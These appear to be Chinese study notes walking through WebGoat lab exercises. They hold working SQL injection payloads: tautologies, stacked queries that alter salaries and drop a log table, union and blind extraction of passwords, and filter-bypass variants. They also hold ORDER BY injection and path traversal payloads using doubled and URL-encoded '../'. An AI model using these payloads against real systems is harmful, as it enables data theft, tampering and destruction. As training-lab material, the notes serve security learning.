基本的sql的查询语句:select 查询的字段 from 表名 where 筛选条件 order by 分组 having 再次筛选 limit 限制一次输出数据的条数;(;是sql语句结束的标志)
select department from employees where userid='96134';
数据更新语句的语法:update 表名 set 需要修改的字段=新的数据 where 筛选条件;
update employees set department= 'Sales' where userid=89762;
题目是让我们在表上添加一个字段,就是修改表的意思
修改表的语句语法:alter table 表名 add/drop 字段名 字段类型;
alter table employees add phone varchar(20);
权限控制语句语法:grant 权限 on 数据库名.表名 to 用户名;
GRANT ALTER TABLE TO UnauthorizedUser
sql注入的初体验,构成sql注入的主要的原因是有客户端可控的变量,且这个变量直接拼接到将要执行的sql语句中。
sql注入的构造恶意的步骤是先完成前面语句的闭合(也就是语句逻辑要合理),后进行想要的操作语句的构造
简单的看一下这个sql语句在变量前面是有'的说明是一个字符型我们需要加入'进行闭合,同理语句最后也有'也需要闭合,因为题目需要我们查询整个表所有中间用or ,or语句前后一真为真所有后面接的是1=1
Smith' or '1'='1
先看题目需要我们获得表的所有数据
"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;
分析sql语句,只是简单的拼接,而且拼接的地方是where,也就是筛选的地方,我们只需要把他们很成立就可以了(or 1=1)而且拼接的参数是个数字型不需要闭合,不过这里如果是在Login_Count这里进行注入的话我们需要用到注释符(#或者--+)将后面的语句进行一个注释(也就是不执行),不过不知道为什么这里这里不能在Login_Count进行注入
"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "';
分析sql语句,也是普通的拼接但是这里是用单引号包住参数(字符型)所以我们注入的时候需要用单引号进行闭合,而正常拼接的时候参数后会拼接一个单引号,我们也需要进行闭合如:'or '1'='1这样的语句可以进行闭合,或者简单粗暴一点就是直接注释后面的语句
qwe' or 1='1
qwe' or 1=1 --+
题目这次不是让我们查询表那么简单而是进行修改,但是看这个表格来说拼接的语句用的是select也就是查询语句,我们需要用update语句的话这里需要用到堆叠注入。
堆叠注入:就是sql语句以;为结束,而且sql语句允许我们一次性输入多句sql语句一起执行,通俗的解释一次执行多句sql语句的注入就是堆叠注入
payload(在name输入或者tan都可以)
#首先我们需要知道表的大致信息
qwe'or 1=1--+
#知道字段名和信息开始构造语句
qwe';update employees set SALARY=999999999 where USERID=37648--+
我们上一关的操作被记录到access_log表里面,所以我们需要去删除access_log表
分析:这里也是查询语句,我们需要进行删除操作所以需要堆叠注入。而且他提示了是字符串这里很有可能是用单引号或者双引号闭合
删除语句语法:drop table 表名;
1';drop table access_log;--+
这关有两个要求一个是获取当前表的数据,一个是获取戴夫的密码
1.获取当前表的所有数据,直接闭合加or 1=1
name:
1' or 1=1--+
#在爆出来的数据里面似乎找不到我们想要的信息,我们需要查询另一个表这里有两种方法union注入和堆叠注入
union注入(首先union select使用的前提是知道前面的select语句查询的字段长度正常可以使用order by来判断,这里是7,这里有对输出的数据类型有检测,使用需要对照前面爆的表的类型对照写入)
1' union select 1,user_name,password,'1','2','3',4 from user_system_data--+
堆叠注入
1' ; select user_name,password from user_system_data;--+
摸索一下,登录框找不到注入点(只是用来验证我们的密码是否正确而已),在注册这里找注入点
username:tom
#User tom already exists please try to register with a different username.
username:tom'or 1=1--+
#User {0} already exists please try to register with a different username.
这里的报错提示我们username这里有注入点
为了方便直接用burpsuit
因为有提示所以尝试使用布尔型盲注
username_reg=tom'and+1=1--+ #User {0} already exists
username_reg=tom'and+1=2--+ #User tom'and 1=2--+ created 可以使用
猜测密码的字段名password passwd pwd都有可能
username_reg=tom'and length(password)>0--+ #User {0} already exists 猜中了
接下来是爆破密码substr是在password字段的第几位取几个字母
username_reg=tom'and substr(password,1,1)=''--+
字典用的是大小写a-z 线程3(太高会报错) ,手动改substr()里面的第二个参数
最后爆破出来的结果:thisisasecretfortomonly
第一建立连接,第二构造sql语句用?占位,第三拼接完整sql语句
String name="admin";
try{
Connection conn=DriverManager.getConnection(DBURL,DBUSER,DBPW);
PreparedStatement ps=conn.prepareStatement("select * from users where name=?");
ps.setString(1,name);
ResultSet result=ps.executeQuery();
System.out.println(result.next());
} catch (Exception e) {
System.out.println("Oops, Something went wrong!");
}
先输入
1'or 1=1--+
#提示说空格不能使用,那我们使用+或者/**/代替空格
1'or+1=1--+
1'or/**/1=1--+
union查询
1'/**/union/**/select/**/1,user_name,password,'1','2','3',4/**/from/**/user_system_data--+
堆叠查询
1'/**/;/**/select/**/user_name,password/**/from/**/user_system_data;--+
一样过滤了空格先用/**/代替空格
1'oR/**/1=1--+
带入上一关的进去看看
1'/**/union/**/select/**/1,user_name,password,'1','2','3',4/**/from/**/user_system_data--+
#发现执行的sql语句中select和from被直接去掉了,试一试双写绕过(因为代码只对语句进行一次过滤)
1'/**/union/**/selselectect/**/1,user_name,password,'1','2','3',4/**/frfromom/**/user_system_data--+ #成功
1'/**/;/**/seselectlect/**/user_name,password/**/frfromom/**/user_system_data;--+ #成功
这里是对order by 的位置进行注入,点排序的地方进行抓包
(CASE WHEN 1=1 THEN ip ELSE hostname END)
传入一个错误的payload进行报错得到表名是servers
构造数据的读取语句然后继续爆破
(CASE WHEN substr((select ip from servers where hostname='webgoat-prd'),1,1)='1' THEN ip ELSE hostname END)
一个个查看回应包,成功排序的说明是我们需要的数值,因为只需要前三位所以只用进行三次爆破,爆破结果是:104
点一下头像选一个文件上传,点了update发现回显,我们full name输入的也是test说明可能是创建一个我们输入的为名字的文件夹。
Profile has been updated, your image is available at: /root/.webgoat-8.1.0/PathTraversal/qweqwe/test"
构造payload,并随便上传一个文件
../test
这题和上一题差不多直接上上一关的payload,发现用不了,可能是过滤了../
Profile has been updated, your image is available at: /root/.webgoat-8.1.0/PathTraversal/qweqwe/test"
我们尝试双写绕过,成功绕过
..././test
这一题上传的时候发现是上传文件到服务端,似乎和full name没什么关系,因为上传的文件名字没变,那可以试一下抓包直接修改文件的名字
../1.txt
题目是让我们找到这个path-traversal-secret.jpg图片
抓包随机一张照片,进行重放,回应包的url上面带有参数
我们构造一下进行请求 ,发现请求的参数会拼接一个后缀,那就是直接上传文件名就可以
直接传参id=../path-traversal-secret 回应包说是非法字符,那我们可以使用编码绕过
id=%2e%2e%2fpath-traversal-secret,回应包是没找到,那就继续去上一层文件寻找
id=%2e%2e%2f%2e%2e%2fpath-traversal-secret,找到了
根据提示需要我们提交我们用户名的sha512的哈希值